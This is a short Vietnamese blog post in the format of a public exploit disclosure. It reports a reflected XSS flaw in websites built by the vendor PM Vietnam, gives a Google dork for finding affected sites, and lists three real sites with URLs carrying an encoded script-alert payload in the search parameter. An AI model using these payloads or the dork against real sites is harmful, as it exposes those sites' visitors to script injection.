ngày trước mình có công bố lỗi sql trên các sản phẩm của công ty PM việt nam hôm nay mình tìm ra một lỗi nữa trên các sản phẩm của công ty này. lỗi được phát hiện là lỗi XSS
Exploit Title: XSS Attack
Exploit Author: vouuvhb.blogspot.com
Discovered By: Vô Ưu
Vendor Homepage : www.pmvietnam.com
Date: 29/08/2016
Tested on: linux/ firefox
Goolge Dork: Design by PMVIETNAM
demos:
http://nhacnuoc.vn/tim-kiem?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
http://southeree.com.vn/vi/tim-kiem.html?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
http://www.phuong-anh.com/tim-kiem?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
0 Comments:
Đăng nhận xét